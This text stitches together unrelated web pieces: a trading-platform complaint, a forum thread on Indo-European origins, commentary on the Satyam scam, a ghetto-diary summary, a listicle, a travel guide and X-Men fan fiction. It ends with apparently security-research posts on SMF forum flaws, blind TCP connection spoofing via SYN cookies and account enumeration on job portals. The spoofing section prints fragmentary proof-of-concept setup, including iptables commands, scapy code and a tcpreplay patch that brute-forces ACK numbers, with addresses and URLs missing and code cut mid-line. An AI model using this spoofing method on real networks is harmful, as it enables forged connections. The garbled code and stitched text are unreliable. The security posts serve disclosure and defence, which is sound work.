1. Tuesday after reinstalling TWS about 9:50 am, it vanished from my screen. I pulled it back up and it had a popup about auto logoff. I reset if for 4:00 pm and it was ok. I was also having a problem with p/l from the previous day remaining on my screen the following day. They told me to delete the entries in a couple of files so I did and the old p/l dissappeared. This morning I deleted the files before starting and the old p/l wasnt there but about 9:50 my screen dissappeared. This time I had a sell stop on the screen and by the time I got it back up the stop had been actived and I was down a couple of points. Evidently I also deleted the files that had my updated settings for the logoff. Live and learn. I am posting this in case some of you run into the same problem. I do not understand why they even have that auto logoff feature. If you install TWS be sure to go into the settings and set your logoff time or you too may get a suprise |
global_05_local_5_shard_00002591_processed.jsonl/41261 | View Full Version : WHAT IF? Alternative proposal theory about IE homeland,
11-05-18, 22:13
I am using a map I found in Internet,
which I consider it more correct than the ones which are considered as correct by dogma.
it is this
I am not claiming the map is correct, especially the term Dorian which must be ignored,
I do not consider it as correct, but as an indicator of IE moves.
But I do consider the yellow position as possibly correct or a nearby area.
SO lets see,
If the south Caucasian area is home of PIE,
that explains a lot
Not only the Anatolian branches,
but also the Mycenean, and the BMAC (Tocharian)
the problem of Latin and Thraco-Brygian if are straight from Anatolia or Yamnaa, it is more coblicated.
So lets see, if the map could give an alternative, but possible solution to the questions,
Plz to understand it, remove all the nationalistic and stupid 'racism' feelings,
there is a lot of 'racism' against Anatolia, as also against steppe, (I use term racism in ' ' for obvious reasons)
Now i do not know if it is Sulaveni or Layla teppe etc etc
but seems 2 things,
1rst Possibility , The Anatolian to Caucasus
1 Anatolian IE languages,
Anatolian IE languages appear to be at the borders of Semitic languages in today Turkey mainly nearby Syrria and lebanon, west of Summerians
the known expand of Semitic languages north of Zagros at late neolithic pushed back to South Caucasus and Iraq-Iran, they spread language there, and from there the known ways,
Personally i consider it an IF, a possible one, but still I do not find it trust-able.
2nd Possibilitty The Caucasus to Anatolia
I find it more possible and more correct genetically,
By that we have 2 early migrations and 1 bigger
it could explain the BMAC (tocharian) also
1 rst migration is the Anatolian one,
the first split gave the Anatolian languages,
direct south from the yellow point of the map,
possible not even 3% steppe,
2nd migration is the Greco-Aryan
that splits to Greco-Armenian and rest Aryan and Indo-iranic,
the PIE homeland evolutes and gives a second wave, that splits to East and West.
West gives the Greco-Armenian and East all Indo-iranic languages
Part of that Migration is the Myceneans which have significant less than 20% steppe
3rd migration the Steppe and Europe
that is the known and attested creation of central asia IE creation and Yamnaa
the most of Europes IE population etc etc.
The big arrow that starts from yellow point moves East,
IEnise Steppe Urals and finds again caucasians and neolithic at Yamnaa and moves West to IEnise Europe (second IE wave in balkans).
so it moves around Caspian either from East or West,
Gains and Assimilates R1a from Steppe,
and brings them to Europe,
or sends them to the land of Tocharians,
4rth migration re-entrance
parts of the previous 3rd migrations renter
either from North caucasus, either from Bactria steppe to Anatolia and Iran
personally i do not think that a R1b not a R1a will be found in IE Anatolian and the steppe must be less than the 13% of Mycenenas,
Proving that both Gedrosia and Steppe were IEnised before move to Europe.
I do not know about about Hettit steppe admixture or R1b/R1a heritage %
about Tocharian and Hettit Question,
I still own a thread to my shelf and the fellow member Moesan
I wrote the above, so to somes, start to realize that the steppe theory is not as well documented, as some wanted it to be, and it is not wise to make it a Dogma.
neither by archaiology, neither by linguistic, and LATELY not even by genetics.
expecting your thoughts
positive or negative.
Iran might have a road back,
after IEnise Gedrosia, a population from the IEnised areas might return to core,
bringing new genetics
IE Hellas might be a mix of non Yamnaa low Steppe Myceneans
and a group of Yamnaans or another that had more Northern geneticks (Graikoi-Selloi)
11-05-18, 22:17
Could explain things like Swastikas in the IVC, but I really doubt this is correct archaeologically. Maykop makes so much sense.
I do wonder though, why the Kura-Araxes expansion, which seems non-Indo-European, produced many cultures where the Swastika was present. None of the Y DNA lines associated with its expansion seem particularly I-E, so perhaps their adoption of the Swastika is through the spread of ideas and not people. Though, R1b has been found there.
Here’s my theory (basically just Maciamo’s to be honest, but I’m adding the Swastika link):
I imagine R1b travelling from the NW Fertile Crescent (as per Marciano, probably his greatest prediction (let’s forget about Q1a from Hunnic admix. in "homesick" Goths though!)) towards Sumer, and then up to Leyla Tepe and Maykop, just before Yamnaya.
I believe these R1b guys acquired CHG admix. from the women of Zagrosian J2 (and other Kura-Araxes-like lines, amalgamed with the J2 of course) tribes, and J2 (again, with other Kura-Araxes lines) later filled the void left by the R1b tribe’s migration from Mesopotamia to and subsequently through the Caucasus (either that, or J2 forced R1b Northwards, in something like the Halaf-Ubaid transition, but I see this as less likely for no good reason that I know). The Kura-Araxes expansion, mapping pretty well to bull-worshipping civilisations, would themselves carry these Swastikas, but positively NOT as Indo-Europeans (though sharing some similarities in mythology, such as the world tree bearing the fruit of immortality, as in Adam and Eve; and the Flood Deluge tale, as two examples (the idea of a sky father seems a bit too non-specific, but it too is a similarity)). Also, consider this similarity, especially in the context of bull-worshipping in the Kura-Araxes culture:
https://www.reddit.com/r/etymology/comments/35sswb/the_mysterious_similarity_between_the/ (https://www.reddit.com/r/etymology/comments/35sswb/the_mysterious_similarity_between_the/)
With this bull worship connection, it’s worth remembering that cattle was probably domesticated by R1b tribes, which could also mean that bull-worshipping was actually spread to J2 (and others) by R1b.
An investigation into the similarity between Vinca and Cuneiform symbols in the context of R1b (swastikas found in both cultures) is worth the time. It also reminds me of the similarities between the spread of copper smelting technology and R1b-Z2103 (and later J2).
It could, however, be the J2 influencing the R1b, but in the case of the Swastika it seems unlikely.
I think this is a pretty sweet theory, but if anybody sees this is retarded then feel free to shout me down. Remember though, we have ancient mtDNA from the place-times I’ve mentioned, and many of them seem very R1 like.
11-05-18, 23:25
I can’t believe I spent that long editing my post...
12-05-18, 00:35
sometimes I do wonder how much time I spend too
12-05-18, 00:36
What is missing from the map
IS a red arrow from yellow point down South-West
The anatolian branch
12-05-18, 08:16
the map are just a few arrows
it would be much clearer if you could date each split
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global_05_local_5_shard_00002591_processed.jsonl/41353 | Satyam-Maytas Scam : Revealing Minutes of the crucial December 16,2008 Board Meeting to discuss and approve the acquisition proposal
The Minutes of the Crucial December 16,2008 Meeting of the Board of Directors of Satyam to discuss and approve the Maytas acqusition proposal are now in public domain
Phew ! I read the Twelve pages of the Minutes and can only say this !
The way the Meeting Progressed from 4 pm and the nature of the various presentations that were made and the Information and explanations given by Top Management and Working Directors…all actually provide answers to some very vital questions that are being raised on
• Complicity of Ram Mynampati,President and Whole-Time Director who made a presentation on the need to diversify from just being a core IT Company…His contradictory stance and feigning that he was in the Dark can be countered strongly
• Complicity of Srinivasu Satti,Head (Mergers and Acquisitions) and who made the presentation to explain and justify the Maytas Proposal…He had to know !
• Complicity of V Srinivasa,CFO…his justifications,information and explanations were taken at face value by the Independent Directors,when some very very basic queries automatically come to the mind when you hear V Srinivasa….I’m sure Independent Directors too would have had such queries race through their mind…why did they fail to voice them ! ?
• Dereliction of Duty and Prior Awareness of Maytas Deal by each and every Independent and Non Executive Director…They failed to raise even basic queries on Structuring,Financing,Leveraging and Valuation of the Deal…Queries that they raised were simply too general and they failed to get into specifics,like they should have
• Controversial Valuation of Maytas Properties by Ernst & Young and the existence of a Non Disclosure Agreement with them
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global_05_local_5_shard_00002591_processed.jsonl/41384 | Elementary Algebra
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global_05_local_5_shard_00002591_processed.jsonl/41422 | February 19, 1943 – Dawid Sierakowiak
February 19, 1943
Lodz Ghetto in Poland
The Diary of Dawid Sierakowiak
One of the most moving accounts of life and death in a Jewish ghetto under Nazi occupation was written by Dawid Sierakowiak, a teenager from Lodz. Dawid recorded his diary in five notebooks, beginning a few months before the war and continuing through April 15th, 1943. He wrote about a wide variety of subjects of importance to the ghetto residents as they struggled to survive the harsh conditions imposed by lack of food, medicine, and other basic necessities.
Dawid experienced three pleasant surprises on February 19th, 1943. He had recently been having a rough time, due mainly to his father’s recent injury, and these bits of good fortune helped to cheer him up – at least for a while. The first bit of good news came in the form of a newspaper report confirming that the German army had retreated from Kharkov. This major setback for Nazi Germany was evidence that they were losing the war. The second occasion for celebration came when Dawid received the news that his application for a loan had been approved. With his father temporarily unable to work, the loan was particularly welcome. The final bit of luck came when Dawid ran into an old school acquaintance. He described the situation in his diary.
“In the shop I noticed an old school friend of mine, Elek Opatowski, sitting by a table. The youth has become involved in all kinds of underground activities, and in the beginning of the ghetto he was famous as a tough guy and a golden lad of shady character. Nevertheless, he is a guy with a heart of gold, which he proved today. The moment I saw him, he was eating quite a piece of bread on which he was spreading lard. Without saying a word, he cut a piece of bread for me, spread lard on it, and literally forced me to eat it up. We had a long conversation, and when we were leaving the joint, he slipped 10 RM into my hand because he was moved by my situation and Father’s illness. ‘You’ll return it when you have enough.’ In a moment he was gone.”
Dawid was shocked by the generosity displayed by this young man who had a reputation as a tough person of low moral character. Dawid ended his diary entry hoping that he would someday be able to repay this kindness and with the observation that it was interesting how there were different kinds of people in the ghetto. Dawid was not the only writer to notice that people of sterling reputation often fell short of expectations, while moral heroes emerged unlooked for in the least likely places.
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global_05_local_5_shard_00002591_processed.jsonl/41424 | 9 Ways to make Money Online in 2020
9 Ways to make Money Online in 2020
Working from home is a luxury many have dreamt of. This does not have the fixed timings and schedules followed by those regular office jobs. A computer and an internet connection are the only requirements to make money online. You have a wide choice of openings you can pick. The choice depends on your preference and your comfort.
1. Making and Selling Products:
All you need to do is ensure you have a website of your own. You can then start selling your products directly and earn money online. The product you market needs to be a requirement of the customers.
1. Tutorials:
There are many people out there who require some sort of tuitions. You can offer your services for this only if you are an expert in a specific subject. This can not only fulfill your urge to make money online but you can make good use of your knowledge.
1. Using Photography:
Photographs are in big demand these days. They are used by the advertising world and also for different businesses for their marketing purposes. All you need to do is join one of the websites of stock photography and make that money online.
1. Writing for third-party:
Those of you who have a flair for writing but find running a blog or website a cumbersome affair, you can write for third-party publishers and make that income online. You have jobs listed on the websites and you can choose in accordance to your preference and requirement.
1. Affiliate Marketing:
This online work is favored by many. All you need to do is refer or recommend a specific product or service. Once the specific product or service is bought by a customer you are given a commission.
1. YouTube Earning:
YouTube is very popular among those looking to make good money online. Make a vblog or a video of your interest and ensure you have enough of an audience viewing this ad also subscribing for this.
1. Video Tutorials and Webinars:
You have many using the net but there are quite a few who are not aware of how to use this in the right manner. You can start a business where you can hold webinars or video tutorials on this, or probably any other niche you are well versed with.
Use your spare time to make some money online, there are chances that this business can help you earn your full-income after a span of specific time.
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The best of the best in Luganville, Vanuatu
Luganville is Vanuatu's second largest city with a population of just over 13,000. It's certainly a small population, but when you're on holiday, doesn't that work in your favour? It's nice to get away from the hustle and bustle of everyday life!
But for those who are used to a daily routine, after a couple of days of enjoying the pure bliss that is doing nothing on vacation, the novelty tends to wear off. You get antsy and need to do something. Don't fret! The city of Luganville might be tiny, but there's plenty to do!
Here's a quick run down of all the best activities you should take advantage of when you're in Luganville.
Millennium Cave
In order to get to this destination, you have to be prepared for a hike through Vanuatu's lush jungle before you get to the famous Millennium Cave. Arriving at the cave, you'll have to descend rope ladders and maybe even use a touch of rock climbing skill - but trust us, it's worth the effort. Once you're in the cave, you won't be able to help but stop and gawk at this amazing natural landmark. The cave is 20 metres wide and 50 metres high, and features the echoes of trickling spring water. It's an experience you can't miss.
Lysepsep Culture Park
The story goes that the Lysepsep were the first people to inhabit Santo - they are about a metre tall and grow out their hair as a form of protection. Locals will tell you they still live there, though they try to stay out of the way of normal people, so you probably won't see them! The Lysepsep Culture Park will teach you a thing or two about their strange customs and rituals.
Million Dollar Bay
If you're looking for a scuba or snorkelling adventure, go no further! This bay is littered with old World War II wreckage, including sunken boats and artillery among many other exciting bits of history. Of course, there is also lots of cool marine life to see as well. Once you're done with your underwater expedition, you can go back to spending some sun time on the beach.
Luganville Market
Don't forget to check out the hub of the city - the Luganville Market! Surround yourself with the city's culture by perusing art stalls and see what the local artists have conjured up. Once you've feasted your eyes on all the brilliant colours, duck into the food stalls for a real feast! Sample all the flavours of Vanuatu first hand.
Now the only question is which of these places will you visit first? |
global_05_local_5_shard_00002591_processed.jsonl/41476 | Let Me In
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Mend My Wounds
AN: FYI, Rogue has Logan's healing touch, Magneto's ability, Bobby's ice ability, Jean's telekinesis and a tiny bit of telepathy. She also has the psyche in her mind.
The clinic in Lower Manhattan was already scorched and burned to the ground, just what Magneto ordered. A swarm of reporters and journalists were converging on the scene from every direction, with them came the quick pursuit of fire and rescue units. Pyro had used the distraction and gotten himself and Rogue to safety. For some reason, she had started wearing the hood again. Bobby tried looking hard for his former teammate but the crowd was too large.
The group of reports had barely managed to throw a single question before their attention was distracted by an all-too-familiar voice booming from the speakers of a nearby radio. Instantly, everyone gathered around one of the newsvans for a view of Magneto's face as he began his broadcast, addressing them formally as if he was the President himself.
"Today's attack on your 'cure' was only our first attempt..." He informed the world. Bobby shook his head in frustration.
"So long as this so-called cure exists, our war will rage. Your cities will not be safe. Your streets will not be safe. You will not be safe."
"You want a cure," he continued to watch Magneto on the screen. "You will have it. A cure to all that ails you." He didn't like the sound of that. But where Magneto was concerned, what else was new?
Back in the mansion, the remaining X-Men crew quietly joined the younger students in the common room to watch the same broadcast. "And to my fellow mutants," Magneto concluded, "I make you this offer and this warning: Join us or stay out of our way." That was it and then the broadcast switched over to the news-room and began to present a series of reports from around the country. The incident at Lower Manhattan hadn't been an isolated attack, but part of a coordinated group of simultaneous strikes throughout the nation. There'd been no X-Men present to protect the innocents and the results were ruin after gutted ruin, and a casualty list including a body count, that made many watching weep.
"What do we do now?" Kitty quietly asked. She tried to make eye contact with the older X-Men but they were too busy staring downwards. No one dared to tell the younger group that their friend was not going to be around anymore. Logan had immediately stalked out of the room and they heard a loud motorcycle roar in the background. Pete observed the group quietly: Kitty was nervous, Jubilee, for once, was quiet; Spike was idly playing with a loose thread on the couch; Bobby was nowhere to be found and so was Rogue; Blake was slouched in a corner with Uriel, both were whispering; Mr. Summers had his arms folded but chatting with Warren.
Storm wandered to the balcony and let loose her emotions outside. Dark, heavy clouds loomed and rain suddenly poured down heavily, drenching her from head to toe. The professor didn't even apprehend her for her actions. He slumped in his wheelchair, looking utterly defeated and lost. Everything was a mess. They needed time to mend their wounds, both new and old. However, time won't wait for them.
Pyro led Rogue away from the crowd and towards the chopper where Victor was standing. Victor frowned when a familiar scent hit his sensitive nose. Impossible...but she timed it well, he thought as he started the chopper and left for the headquarters. An uncomfortable silence stretched throughout the ride as none of them wanted to speak. Victor and Pyro shared similar thoughts but were reluctant in asking the obvious. As for Rogue, she was too pre-occupied of past events.
After what seemed like a half hour, the chopper descended gently into a clearing. Victor watched amusingly and held back a laugh as Pyro jumped out and stride over to her side to pull open the door. Ah love! She nodded her thanks and followed behind him as he led the way into a makeshift, large room that seemed cold and uninviting. She noticed Magneto's eyes widened just a little before passing, from looks of it, she understood he already knew who she was since she wore the very same dark green trench coat when they first met. Only at that time, she was the helpless, innocent, wide-eyed girl; now she has changed through certain events that forced her to learn that being weak was like a beacon. She had no intention reverting to what she once was. No longer will she be a victim but the predator; she was the Rogue after all.
Magneto watched as Pyro brought the hooded figure into the large foyer. As their guest walked closer, he immediately recognized the coat and his mind flashed back to their first meeting on the train. He had been after her gift so he could power up the machine. Now here she was, standing in front of the train, no longer hiding behind anyone. He was still unsure on how she could evolve to a powerful being. Last he saw her was a couple of years ago where she was still having trouble controlling her gift.
As he walked towards her, he smiled warmly and said, "Welcome to the Brotherhood. Tired of playing peacemaker?"
"Something like that." She lowered her hood after.
Callisto stood beside her fellow Marauders and listened to their guest, all the while determined to figure the identity before it was revealed. When she heard Magneto mention 'peacemaker,' she snorted and muttered to herself what did Xavier say to coerce some of the powerful mutants to his side. She didn't hate the guy but always thought that man, being a genius and all, would have figured out long ago that humans despised everything a mutant stood for.
But no, Charles Xavier firmly believed humans and mutants can coexist together and achieve world peace. That man, who can easily rip a person's mind into shreds or control that being, chooses to give humans a chance. How many times is it going to take for him to realize his vision is impossible?!
As the guest lowered his hood, Callisto thought the figure to be some stuck-up, arrogant fool. It turns out quite the opposite and she was shocked along with the rest of them with the exception of Magneto, Sabretooth and Pyro. She noticed their leader smiled warmly, which then led her to assume that they had encountered her before. Her... not him, their guest was of average build but beautifully gorgeous southerner. She had pale, smooth skin, guarded eyes, and one lone silver streak.
"You've come to the right side, Rogue." Magneto gestured at each of his followers and they nodded at her when he said their names. "You already know Pyro and Sabretooth. That leaves three recruits: Arclight, Quill and Callisto." The girl who once became Magneto's little guinea pig was back and on their side, but still a threat to her. While the others were easily convinced and manipulated, Rogue sang a different tune; she was unpredictable, a wild card, and she just couldn't be trusted.
I bet she's still a spy for them...
After Eric had officially welcomed her to the Brotherhood, he told John to give their guest a tour of their HQ. He did as he was told, gently touching her covered arm as he walked towards another area, with Rogue trailing behind.
"Living room," he stated as he went past the room which Rogue saw tattered couches with a decent television.
"Kitchen," she shook her head as dirty plates and utensils sat in the sink. "We mostly order takeout since none of us can cook."
They then walked up a flight of stairs and walked through a very narrow, dimly lit corridor before stopping at the end. John pushed open the door and she stepped in. There wasn't much in there, just a bed, dresser, a stool and a nightstand. She dropped her duffel bag on the bed and sat on the edge of it. John took one glance at the empty corridor and figured he wasn't needed at Eric's side at the moment, went towards her with his hand closing the bedroom door with a touch.
He sat down gingerly on the other side of the bed and glanced her way. "Why were you heading towards the clinic?" He decided to start with the why and move on from there. She let out a soft sigh and stared at the wall for what seemed like an hour and replied vaguely, "I was waiting for you." She didn't tell him about the psyche in her mind; she didn't even know how to tell him that she had a voice in her head relaying instructions and their plans together for the future.
Confusion spread on his face, he frowned deeply, his eyebrows twitching, as he tried to understand her. "How did you know I was searching for you?" How did she know I was going to be there in the first place?
"I didn't," she silently hoped he wouldn't ask. Something wasn't right. Was there a leak? Eric mentioned it to him here in the office...along with Callisto and Victor.
He immediately got off the bed which creaked loudly in the tense room, and grabbed Rogue's shoulders firmly, making eye contact as he did so. "Who's your source? No one else knew about it."
She settled for glaring and replied tensely, "I figured someone was going to cause some trouble and you showed up. Problem solved."
His hands squeezed her harder as he bore down on her, putting pressure. "Oh really? I'm not done..."
"Well, I'm done proving myself to you...of all people!" Rogue had enough. She got up suddenly and flung her hand to rid herself of his accusing statement. Her shoulders were sore from his squeezing. She stood right in front of him, stance locked in defensive mode, her arms tightly folded. It was enough to send up a spark of suspicion and Pyro knew there was something up her sleeve.
"What's that supposed to mean? Look at you, all riled up at one small question." He moved closer until their noses were almost touching. "I bet you're still with them all along. You gonna suck up to Magneto and run back to give them the juicy news to Daddy dearest?" With a flick of his lighter, he surrounded himself with hot, dangerous flames and smirked tauntingly.
Rogue felt first before she saw. Fire surrounded them both but she refused to give in. "How dare you!" She hissed and the atmosphere in the room shifted drastically. "I left because Daddy dearest didn't like it when I broke his favorite pet," she said sickeningly and her eyes took on a darker hue. "So get this straight, Johnny, because I ain't saying it twice. I ain't going stand here and take your crap!"
A thick sheet of ice wrapped around her protectively against the hungry flames and covered the concrete floor behind and around her. They stood standing, guarded and tense, with their elements at a standstill. It was as if time stood still for them. A knock startled both of them out of their intense glaring contest. Pyro snapped his head so quickly at the intruder whereas Rogue merely tilted her head lazily at the sound.
The Asian marauder trudged up slowly to the guest room. Oh why was he always sent around the HQ doing odd jobs for everyone else? The first week was slow and torturing; he was minding his own business outside, taking a smoke. The hairy Magneto's bodyguard came up to him and gruffly ordered him to fix the leak in their so-called kitchen they hardly ever use. He couldn't protest much and cursed himself for being so darn small. Callisto was out all the time and Arclight was lounging in the living room. And as days passed on, he was ordered by various members. Even the kid had dared to order him about, but he shot out sharp, poisonous spikes at his way. Quill scowled at the memory; the kid had managed to dodge every frigging one of them and left chuckling.
This time, he was sent by Magneto to fetch their newest recruit down for a chat. He knocked once and the door gave way - great! Door's open too. - to reveal two very pissed off class-four mutants: the kid glaring and her merely staring at him with an arch eyebrow. Oh and how could he forget to mention that they were standing literally with fire and ice surrounding each of them! He gulped and looked down and noticed a very faint circle of both scorch mark and frost outlining them.
"Ummm, Magneto wants to speak with you." Pyro extinguished his flames and started towards the door but Quill sneered. "Not you, her." Rogue smiled, nodded her thanks and brushed past Pyro. She followed Quill behind, the frost still hanging onto her coat, leaving Pyro at her door.
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global_05_local_5_shard_00002591_processed.jsonl/41505 | Multiple vulnerabilities in SMF forum software
I. Introduction
Simple Machines Forum (abbreviated as SMF) is a free Internet forum (BBS) software written in PHP.
II. Username faking via Unicode homoglyphs or duplicate spaces allows user impersonation
The forum registration process allows registering UTF8 usernames. Since Unicode contains a lot of additional symbols and some of them look very similar (or even identical) to standard ASCII characters, this allows registering a user with a name which is visually indistinguishable from an existing forum user. As an example, someone may register a user named "admiո" with the "n" replaced by the Unicode letter u+0578 (ARMENIAN SMALL LETTER VO), which looks more or less exactly like the ASCII character "n" depending on the font. This may be used in order to impersonate users e.g. in forum messages. Additionally to choosing a name which looks more or less exactly as the victim, an attacker can also steal the avatar of the victim in order to further improve the illusion.
The following page simplifies finding matching homoglyph characters for a given string:
If the original username contains a space, user impersonation is also possible by registering the same username with two or more consecutive spaces. These spaces will be passed to all HTML pages containing the username and since web browsers ignore multiple consecutive spaces in HTML, there is no visible difference between the original and the faked username.
III. Clickjacking in SMF forum allows user-assisted remote arbitrary code execution
The forum software SMF contains no protection against clickjacking. This allows tricking a currently logged in user to do various unintended actions in the forum when the user visits a malicious website. I have a working POC exploit which requires no more than 2 clicks to a predictable location to achieve full remote code execution when exploited against a forum administrator (although I will not disclose the exact attack vector in this public advisory). A cleverly designed attack site may trick the user do these two clicks without much thinking. The first click can be achieved by displaying one of the annoying overlays which requests the user to fill out a survey, like the site on facebook or subscribe to a newsletter. Most users are conditioned to directly click on the small x on the top right of the overlay to close it. For the second click, the attack site may just not react to the first click hoping that the victim tries again. Alternatively, the site could also pretend to be a video site waiting for the user to click on the play button.
IV. Affected versions
All three vulnerabilities are present in SMF1 up to version 1.1.18 and SMF2 up to version 2.0.5. The SMF team has released updates (version 1.1.19 and 2.0.6) which fix the clickjacking problem (via an X-Frame-Options header) and the username faking possibility via multiple consecutive spaces. However, the Unicode homoglyph attack has not yet been fixed since it is not trivial to filter out all confusable characters while still allowing legitimate Unicode characters in usernames (especially if you can't use the Spoofchecker class because you have to support PHP versions below 5.4.0).
V. Credits
Jakob Lell
Analysis of the exploit
Analysis of the CSRF payload
Consequences of a malicious DNS server
* Redirect users to phishing sites when opening a legitimate website
* Redirect users to browser exploits
* Block software upgrades
* Attacking software updaters which don't use cryptographic signatures
Prevalence of the exploit
Recommendations to mitigate the problem
* Don't save your router password in the browser
Affected Devices
It is likely that some other devices are vulnerable as well.
1. Open a browser and log in to your router
Advanced grepping through directory trees with binary data
find . -type f -print0|xargs -0 strings -a --print-file-name > /tmp/strings.txt
This intermediate results can then be used for many searches:
for enc in S l L;do find . -type f -print0|xargs -0 strings -e $enc --print-file-name;done > /tmp/strings.txt
Quick Blind TCP Connection Spoofing with SYN Cookies
I. Repetition of TCP Basics
A TCP Connection is initiated with a three-way handshake:
II. Description of the SYN Cookie approach
#define COOKIEBITS 24 /* Upper bits store count */
#define COOKIEMASK (((__u32)1 << COOKIEBITS) - 1)
__be16 dport, __u32 sseq, __u32 count,
__u32 data)
* Compute the secure sequence number.
* The output should be:
* Where sseq is their sequence number and count increases every
* minute by 1.
* MSS into the second hash value.
sseq + (count << COOKIEBITS) +
& COOKIEMASK));
* range. This must be checked by the caller.
* The count value used to generate the cookie must be within
* is (__u32)-1 if this test fails.
__be16 sport, __be16 dport, __u32 sseq,
__u32 count, __u32 maxdiff)
__u32 diff;
/* Strip away the layers from the cookie */
diff = (count - (cookie >> COOKIEBITS)) & ((__u32) - 1 >> COOKIEBITS);
if (diff >= maxdiff)
return (__u32)-1;
return (cookie -
& COOKIEMASK; /* Leaving the data behind */
* Check if a ack sequence number is a valid syncookie.
const struct iphdr *iph = ip_hdr(skb);
const struct tcphdr *th = tcp_hdr(skb);
__u32 seq = ntohl(th->seq) - 1;
__u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,
th->source, th->dest, seq,
jiffies / (HZ * 60),
return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
III. Reduced cost of guessing due to multiple valid ISNs
IV. Combination of ACK-Packet and Payload
V. Possible real-life applications of TCP Connection spoofing
VI. POC Exploit and real-life performance measures
ifconfig eth0:1 inet netmask up
iptables -I INPUT --dst -j DROP
ifconfig eth0:2 inet netmask up
iptables -I INPUT --dst -j DROP
# Change log level to suppress annoying IPv6 error
import logging
from scapy.all import *
import time
# Set up source and destination IP addresses
@@ -81,6 +81,9 @@
send_packets(pcap_t *pcap, int cache_file_idx)
+ static u_int32_t ack_bruteforce_offset = 1;
+ uint32_t* ack;
+ uint32_t orig_ack;
COUNTER packetnum = 0;
struct pcap_pkthdr pkthdr;
@@ -154,6 +157,9 @@
#if defined TCPREPLAY && defined TCPREPLAY_EDIT
+ orig_ack = *ack;
pkthdr_ptr = &pkthdr;
if (tcpedit_packet(tcpedit, &pkthdr_ptr, &pktdata, sp->cache_dir) == -1) {
@@ -176,7 +182,7 @@
/* write packet out on network */
if (sendpacket(sp, pktdata, pktlen) < (int)pktlen)
+ *ack = orig_ack;
* we have to do a mempcy rather then assignment.
@@ -205,7 +211,7 @@
} /* while */
+ ack_bruteforce_offset += 31337;
if (options.enable_file_cache) {
options.file_cache[cache_file_idx].cached = TRUE;
apt-get install build-essential libpcap-dev
wget -O tcpreplay-3.4.4.tar.gz
tar xzvf tcpreplay-3.4.4.tar.gz
cd tcpreplay-3.4.4
cat ../tcpreplay_patch.txt | patch -p1
cp src/tcpreplay-edit ../
VII. Experimental results
VIII. Possible mitigation options
[2]: Section "What are SYN cookies?"
[3]: Section "Blind connection forgery"
Information leakage in many websites and job application portals
German version of this post
1. Summary
Many websites such as forums, dating sites, job application portals, newsletters or social networks require a user registration. This registration generally requires an email address and a freely choosable pseudonym as username. Most Internet users assume that only the chosen pseudonym is publicly visible while the email address is treated confidential by the site operator. Depending on the type of website it is important that the existence of an account is kept confidential since knowing that an account exists may lead to certain conclusions about the account owner. As an example, if a person has registered in a forum about a specific disease, it is likely that this person is affected by this disease. The problem presented here allows unauthorized third parties to find out whether there is an account for a specific email address. In case of online job application portals, the existence of an account typically means that the account owner has applied for a job. This may allow an employer to find out that one of his employees has confidentially applied for a job at another company.
2. Description of the problem
The main problem is that if a user tries to register with an email address or a username, which is already registered at the site, the user gets a corresponding error message in the browser. An unauthorized third party may try to register with the email address or username of the potential account owner. If this results in an error message, the attacker may conclude that the email address or username is already registered.
The email address is linked to a specific person and most employers know at least one private email addresses of their employees. The problem can obviously only reveal the existence of an account on a site such as a job application portal and no more detailed information about the account (such as the corresponding pseudonym to a given email address or the application submitted). However, the bare fact that an employee has applied for another job may already have negative consequences for the existing employment.
For some sites such as job application portals the username can also be linked to a specific person (especially for rare names and/or small industries), since many applicants choose an easily predictable username such as "First Name.Last Name" or a pseudonym which is also known to the current employer and expect the data to be treated confidential by the company they apply to. If this predictable username is registered in the job application form of another company, an employer may conclude that his employee applies for a job there.
Some websites don't require a username and use the email address and password for logging in. Some other sites assign a randomly chosen username for every registered user. Most of these sites reveal the existence of an account for an email address as well when trying to register again with the email address.
3. Distribution of problem for job application portals
I have checked the job application portals of some big companies by trying to register with the same username or email address twice. 27 of the 30 companies in the DAX index (which contains the biggest stock companies in Germany) are affected by the problem. The remaining 3 companies either don't provide an online job application portal or only allow direct applications without an account registration. This leads to the conclusion that the vast majority of companies running an online job application portal are affected by the problem. Some international companies such as IBM or Intel are affected as well.
4. Other problematic online accounts
The problem not only affects job application portals but also many other websites such as online shops, forums, newsletters, social networks or dating sites. The mere existence of an account in a forum may lead to problematic conclusions about the owner of the account. An employer may for instance check whether a female applicant is registered in a forum about pregnancy with the email address used for the application instead of asking whether she is pregnant (which is illegal to ask in some countries) and not employ her if there is an account. The registration in a forum or a newsletter about a sensitive topic such as employment rights, homosexuality, certain political opinions/activities, diseases (e.g. HIV) or psychical problems should also not be revealed to everyone who knows the user's email address. Most users expect that a forum only reveals the chosen pseudonym to the public and that the email address is treated confidential. So it may be problematic if everyone, who knows the email address, can figure out that someone has an account in a forum.
5. Possible use of vulnerability by cyber criminals
The existence of an account in a forum or vendor support site about specific hardware or software components can reveal some information about the hardware/software used by the account owner. This may allow an attacker to specifically exploit vulnerabilities in those components in a targeted attack.
Cyber criminals could also exploit this problem to increase the effectivity of their attacks. For instance, a phisher may choose to only send his phishing mails to email addresses which are actually registered at a site. An attacker may also verify that an account exists before trying to break into the account by brute-forcing the password (or the security question for resetting the password).
6. Confirmation emails
Some sites send a confirmation email when trying to register with a given email address. This confirmation mails allow users to find out that someone has tried to register with the user's email address on a site.
Some sites reveal the existence of an email address/username before actually submitting the registration form e.g. using Ajax requests to the server. In this case, no confirmation email is sent to the owner of the email address. Some other sites reveals the existence of an email address when submitting the registration form even if there is another error such as an empty or weak password, a duplicate username or required form fields left blank. In these cases the sites don't send any confirmation email but still reveal the existence of an account to a given email address.
When a confirmation mail is sent, most users will just ignore it since they haven't registered on the site and not take into account that this email may be the result of someone trying to reveal the user's accounts. Even if a user knows about the problem, it may still be impossible to find out who is responsible for the attack.
7. Mitigation for website operators
Website operators can take some technical measures to mitigate the risk for their users. Depending on the nature of the site it may be necessary to abandon the possibility for users to choose a username, because a given username may have already been taken, which will make the registration fail and thus reveal the existence of a given username. For sites which already publicly reveal the chosen names as part of the site functionality (such as forums or dating sites) and most users choose a pseudonym for the registration, a freely choosable username is obviously unproblematic. For other sites such as job application portals where a confidential treatment of all user data is commonly expected and many users choose their real name as username, it is probably necessary to abandon the possibility to register with a freely choosable username. The site may either create a randomly generated username or just use the user's email address instead of a username for logging in.
